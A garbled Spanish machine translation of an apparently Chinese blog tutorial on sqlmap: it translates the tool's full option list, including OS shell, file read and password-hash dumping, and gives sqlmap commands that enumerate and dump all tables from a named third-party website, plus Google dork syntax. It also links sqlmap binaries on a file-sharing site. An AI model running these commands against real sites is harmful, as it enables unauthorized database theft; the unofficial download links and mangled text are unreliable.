Enseñarle a usar Python para jugar fácilmente a la herramienta de penetración de inyección SQL

Prefacio

Hola a todos, soy Huang Wei. Creo que has oído hablar a menudo sobre la inyección SQL, pero realmente no lo entiendes; solía escuchar a los demás, pero no entendía nada. No lo entendí hasta que leí los libros de texto relevantes. Resultó ser tal cosa. Entonces, ¿qué es, o es una cosa? Luego miramos hacia abajo.

 

Uno, habla de inyección SQL

La inyección SQL consiste en insertar comandos SQL en el formulario WEB para enviar o ingresar la cadena de consulta de algunas solicitudes de página. Por ejemplo, si ingresamos la URL, es equivalente a esta operación, pero no estamos probando vulnerabilidades de inyección SQL, pero solo para entrada Luego vea el contenido en la página web correspondiente. Existen métodos generales, tales como: adivinar el nombre de la tabla de datos y luego pasar por alto las lagunas de fondo. Generalmente, las palabras clave Y o O se usan más en estos dos métodos. Ha aparecido un software similar en el país, como lo que D, Ming boy, una vez fue un artefacto imprescindible para muchos script boys, ahora porque no se ha actualizado, me temo que hará frío, pero ha sido brillante. una vez.

 

Dos, método de inyección de Sqlmap

Sqlmap tiene cinco modos de inyección diferentes en total, como sigue:

1. Tiempo ciego

2. Persianas booleanas

3. Inyección de error

4. Inyección conjunta de consultas

5. Inyección de consultas de montón

 

Tres, la base de datos soportada por Sqlmap

Básicamente, admite bases de datos convencionales, como Mysql, Mongo, Oracle, Sqlserver, Access, Sqlite, etc.

 

Cuatro, instalación de Sqlmap

Aquí podemos usar dos esquemas, uno es para instalar la versión Python de Sqlmap y el otro es para descargar la aplicación compilada de Sqlmap, dependiendo de cuál elijas. Es solo que la descarga desde el sitio web oficial será más lenta, por lo que el editor íntimo ya las descargó. Puedes descargarlas directamente según la dirección de descarga que proporcioné, de la siguiente manera:

Sqlmap.py :https://u062.com/file/7715018-453776489
Sqlmap.exe:https://u062.com/file/7715018-453776892

 

Cinco, juega con comandos básicos

Aquí tomamos el programa Sqlmap como explicación principal. Por supuesto, también puede usar la versión Python de Sqlmap, y los comandos son los mismos. Hay comandos que son inseparables de los parámetros, y Sqlmap es el mismo, pero los parámetros en él también son mucho más sorprendentes Mi buen chico, el editor dijo que estaba llorando en el baño. Vamos a explicarlos uno por uno. Quizás no sean muy completos. Espero que puedas perdonarme. Todos sabemos que no importa qué herramienta de línea de comandos tenga comandos de ayuda, Sqlmap no es una excepción, un "" -h ", directamente todos los comandos se enumeran para usted, de la siguiente manera:

Creo que todo el mundo ha visto muchos chinos en la foto y están empezando a causar problemas, no se asuste, y el problema no es grande. Además, no sé si has visto "-hh". No sé qué diablos es esto. De hecho, es un poco más avanzado que "-h". como muestra la imagen:

Parece más organizado que "-h". Permítanme presentarles personalmente la utilidad de estos parámetros, al menos traducirlos primero.

Options(选项):
–version 显示程序的版本号并退出
-h, –help 显示此帮助消息并退出
-v VERBOSE 详细级别:0-6(默认为1)
以上七个等级分别为:
0、只显示python错误以及严重的信息
1、同时显示基本信息和警告信息(默认)
2、同时显示debug信息
3、同时显示注入的payload
4、同时显示HTTP请求
5、同时显示HTTP响应头
6、同时显示HTTP响应页面




Target(目标):
以下至少需要设置其中一个选项,设置目标URL。
-d DIRECT 直接连接到数据库。
-u URL, –url=URL 目标URL。
-l LIST 从Burp或WebScarab代理的日志中解析目标。
-m BULKFILE  扫描多个目标列入给定文本文件      
-r REQUESTFILE 从一个文件中载入HTTP请求。
-g GOOGLEDORK 处理Google dork的结果作为目标URL。
-c CONFIGFILE 从INI配置文件中加载选项。
  
Request(请求):
这些选项可以用来指定如何连接到目标URL。
–data=DATA 通过POST发送的数据字符串
——param-del = PDEL字符用于分割参数值
–cookie=COOKIE HTTP Cookie头
--load-cookies=  读取Netscape/wget格式的cookies文件
–cookie-urlencode URL 编码生成的cookie注入
–drop-set-cookie 忽略响应的Set – Cookie头信息
–user-agent=AGENT 指定 HTTP User – Agent头
–random-agent 使用随机选定的HTTP User – Agent头
 --force-ssl   使用SSL / HTTPS请求
 --host=HOST   HTTP主机头
–referer=REFERER 指定 HTTP Referer头
–headers=HEADERS 换行分开,加入其它的HTTP头
–auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
–auth-cert=ACERT HTTP认证证书(key_file,cert_file)
–proxy=PROXY 使用HTTP代理连接到目标URL
–proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
–ignore-proxy 忽略系统默认的HTTP代理
–delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
–retries=RETRIES 连接超时后重新连接的时间(默认3)
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
–safe-url=SAFURL 在测试过程中经常访问的url地址
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
 --skip-urlencode   跳过URL编码的数据
 --eval=EVALCODE     评估请求之前提供Python代码(如。“import hashlib; id2 = hashlib.md5 (id) .hexdigest())






Optimization(优化):
这些选项可用于优化SqlMap的性能。
-o 开启所有优化开关
–predict-output 预测常见的查询输出
–keep-alive 使用持久的HTTP(S)连接
–null-connection 从没有实际的HTTP响应体中检索页面长度
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)




Injection(注入):
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。
-p TESTPARAMETER 可测试的参数(S)
–dbms=DBMS 强制后端的DBMS为此值
–os=OS 强制后端的DBMS操作系统为这个值
——invalid-bignum  使用大数据无效值
——invalid-logical  使用逻辑操作无效值
——no-cast   关掉负载铸造机制
——no-unescape  关掉字符串unescap机制
–prefix=PREFIX 注入payload字符串前缀
–suffix=SUFFIX 注入payload字符串后缀
–tamper=TAMPER 使用给定的脚本篡改注入数据
 --skip=SKIP  跳过给定的参数


Detection(检测):
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
–level=LEVEL 执行测试的等级(1-5,默认为1)
–risk=RISK 执行测试的风险(0-3,默认为1)
–string=STRING 字符串匹配时查询计算为True
--not-string=NOT.. 字符串匹配时查询计算为False
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
——code= HTTP状态码
–text-only 仅基于在文本内容比较网页




Techniques(技巧):
这些选项可用于调整具体的SQL注入测试。
–technique=TECH SQL注入技术测试(默认BEUST)
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
–union-cols=UCOLS 定列范围用于测试UNION查询注入
–union-char=UCHAR 用于暴力猜解列数的字符
--dns-domain= DNS . .域名用于DNS漏出攻击
--second-order= S . .产生的页面的url搜索二阶响应


Fingerprint(指纹):
-f, –fingerprint 执行检查广泛的DBMS版本指纹



Enumeration(枚举):
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
您自己的SQL语句。
-b, –banner 检索数据库管理系统的标识
–current-user 检索数据库管理系统当前用户
–current-db 检索数据库管理系统当前数据库
–is-dba 检测DBMS当前用户是否DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
–tables 枚举的DBMS数据库中的表
–columns 枚举DBMS数据库表列
——schema  列举DBMS模式
——count  计算检索表(s)的条目数量
–dump 转储数据库管理系统的数据库中的表项
–dump-all 转储所有的DBMS数据库表中的条目
–search 搜索列(S),表(S)和/或数据库名称(S)
-D DBname 要进行枚举的指定数据库名
-T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
-–exclude-sysdbs 枚举表时排除系统数据库
-–start=LIMITSTART 第一个查询输出进入检索
-–stop=LIMITSTOP 最后查询的输出进入检索
-–first=FIRSTCHAR 第一个查询输出字的字符检索
-–last=LASTCHAR 最后查询的输出字字符检索
-–sql-query=QUERY 要执行的SQL语句
-–sql-shell 提示交互式SQL的shell
--sql-file =  SQLFILE执行SQL语句从给定的文件(s)


Brute force(蛮力):
这些选项可以被用来运行蛮力检查。
–common-tables 检查存在共同表
–common-columns 检查存在共同列




User-defined function injection(用户自定义函数注入):
这些选项可以用来创建用户自定义函数。
–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径




File system access(访问文件系统):
这些选项可以被用来访问后端数据库管理系统的底层文件系统。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径




Operating system access(操作系统访问):
这些选项可以用于访问后端数据库管理系统的底层操作系统。
–os-cmd=OSCMD 执行操作系统命令
–os-shell 交互式的操作系统的shell
–os-pwn 获取一个OOB shell,meterpreter或VNC
–os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
–os-bof 存储过程缓冲区溢出利用
–priv-esc 数据库进程用户权限提升
–msf-path=MSFPATH Metasploit Framework本地的安装路径
–tmp-path=TMPPATH 远程临时文件目录的绝对路径




Windows注册表访问:
这些选项可以被用来访问后端数据库管理系统Windows注册表。
–reg-read 读一个Windows注册表项值
–reg-add 写一个Windows注册表项值数据
–reg-del 删除Windows注册表键值
–reg-key=REGKEY Windows注册表键
–reg-value=REGVAL Windows注册表项值
–reg-data=REGDATA Windows注册表键值数据
–reg-type=REGTYPE Windows注册表项值类型




 General(一般)
这些选项可以用来设置一些一般的工作参数。
-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
–batch 从不询问用户输入,使用所有默认配置
--charset=CHARSET 强制字符串编码
--crawl=CRAWLDEPTH 从起始位置爬取的深度
--csv-del=CSVDEL 指定在CSV输出中使用的分隔字符
——dbms-cred=DBMS..  DBMS身份验证凭据(用户:密码)
--eta 显示每个输出的预计到达时间
--flush-session 刷新当前目标的会话文件
--forms 在目标URL上解析和测试表单
--fresh-queries 忽略在会话文件中存储的查询结果
--hex dump非ascii字符时,将其编码为16进制,收到后解码还原
--output-dir=OUT.. 输出结果至文件
--parse-errors 解析并显示报错信息
--replicate  复制数据到一个数据库sqlite3
–save file保存选项到INI配置文件
——tor  使用tor匿名网络
——tor-port=TORPORT  设置Tor代理端口,而不是默认设置
——tor-type=TORTYPE  设置Tor代理类型(HTTP违约,SOCKS4或SOCKS5)
–update 更新SqlMap




Miscellaneous(杂项):
-z MNEMONICS 参数助记符,例:-z "bat,randoma,ign,tec=BEU" 其实就是只要你写的字母可以唯一匹配其它参数,就可以生效。
–check-payload IDS对注入payloads的检测测试
--alert=ALERT 在找到SQL注入时运行主机OS命令
--answers=ANSWERS 设置问题答案,在刚刚的--batch 可以跳过很多问题,但只是选择默认值,可以使用者个参数对特定问题设定特定答案。例:--answer "extending=N"
–beep 发现SQL注入时提醒
--cleanup SqlMap具体的UDF和表清理DBMS
--dependencies 检查缺少的Sql映射依赖项
--disable-coloring 禁用控制台输出着色
--gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
--identify-waf 识别目标的防火墙
--mobile cosplay 手机
--offline 在脱机模式下工作
--purge-output 情况输出文件夹
--skip-waf 跳过WAF/IPS/IDS保护的启发式检测
--smart 有大量检测目标时候,只选择基于错误的检测
--sqlmap-shell 创建一个交互的sqlmap_shell
--tmp-dir=TMPDIR 更改存储临时文件的本地目录
--web-root=WEBROOT 设置Web服务器文档根目录。例:--web-root="/www"
--wizard 给初级用户的简单向导界面

Lo anterior es la traducción de todas las instrucciones de Sqlmap después de que el editor ingrese el comando de ayuda de Sqlmap. Llevemos a cabo la aplicación práctica a continuación.

 

1. Determine las condiciones relevantes para determinar si hay una inyección en la URL.

Configuramos una base de datos y una instrucción de solicitud de URL para ello, lo que equivale a encontrar si hay un punto de inyección en la base de datos Mysql, y luego selecciono la base de datos para obtenerla, y luego continuará usando declaraciones SQL para realizar en esta base de datos Voladuras de punto fijo, como se muestra en la figura:

2. Solicitud de publicación de compilación

La solicitud que hicimos anteriormente es en realidad una solicitud de obtención. Ahora echemos un vistazo a la solicitud de publicación, de la siguiente manera:

Simplemente cree el formato de la solicitud de publicación como lo hacemos habitualmente.

3. Obtener información de la base de datos y la tabla

Cuando encontramos el punto de inyección, podemos encontrar fácilmente estas bases de datos y sus tablas correspondientes, como por ejemplo:

Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 -dbs#所有数据库
Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 –-current-db#当前数据库
Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 --tables -D VIP #数据表
Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 –-current-user#当前用户
Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 --columns -T admin -D VIP #查admin表中有哪些字段
Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 --is-dba#判断归属
Sqlmap -u http://www.juliwz.cn/forum.php?id=1  -D "VIP" --dump-all#转储所有表

4. Nombre de usuario y contraseña de Blast

Use el servidor WEB construido por nosotros mismos como punto de prueba, probémoslo, de la siguiente manera:

5.Google Hacker Syntactic Sugar

Hablando de esto, tenemos que mencionar la sintaxis de GoogleHacker, de la siguiente manera:

intitle: 从网页标题中搜索指定的关键字,可专门用来搜索指定版本名称的各类web程序,也可用allintitle
inurl: 从url中搜索指定的关键字,可专门用来构造各种形式的漏洞url,也可用allinurl
intext:从网页中搜索指定的关键字,可专门用它来穿透到漏洞页面等……也可用allintext
filetype: 搜索指定的文件后缀,例如:jpg sql mdb txt bak ini zip rar doc xls……
site: 在某个特定的网站内中搜索指定的内容
link:搜索和该链接有关联连接,比如:友情链接
index of: 找目录遍历会用到  
+   强制包含某个字符进行查询
 -   查询的时候忽略某个字符
 ""  查询的时候精确匹配双引号内的字符
 .   匹配某单个字符进行查询
 *   匹配任意字符进行查询
 |   或者,多个选择,只要有一个关键字匹配上即可

¿Cuál es el propósito principal de hablar de esto? De hecho, es inyección SQL. Mucha gente puede pensar que no tiene nada que ver con la inyección SQL. Entonces estás equivocado. Esta es también una sintaxis común para encontrar puertas traseras. Si no lo cree, puede echar un vistazo con el editor de la siguiente manera:

No lo presentaré más adelante, para no dañar a la gente, creo que después de leer el ejemplo que escribí, básicamente mucha gente lo sabrá.

 

Seis, resumen

En general, la inyección SQL no es más que un viaje difícil y peligroso. Puedes encontrarlo pero otros también pueden defenderlo. Aunque te parezca que lleva mucho tiempo, la defensa es muy fácil. Personalmente siento que la ganancia no vale la pena la perdida. No te recomiendo que lo entiendas en profundidad., solo haz una breve introducción para entenderlo, al menos tus habilidades de búsqueda han mejorado mucho debido a esto.

Aún quiero recomendar el grupo de aprendizaje Q de Python que construí yo mismo : 705933274. Todo el grupo está aprendiendo Python. Si quieres aprender o estás aprendiendo Python, puedes unirte. Todos son parte del desarrollo de software y comparten productos secos. de vez en cuando (solo relacionado con el desarrollo de software de Python), incluida una copia de los últimos materiales avanzados de Python y la enseñanza basada en cero compilada por mí en 2021. ¡Bienvenido a los avanzados y amigos interesados ​​en Python para unirse!

 

Supongo que te gusta

Origin blog.csdn.net/pyjishu/article/details/115206195
Recomendado
Clasificación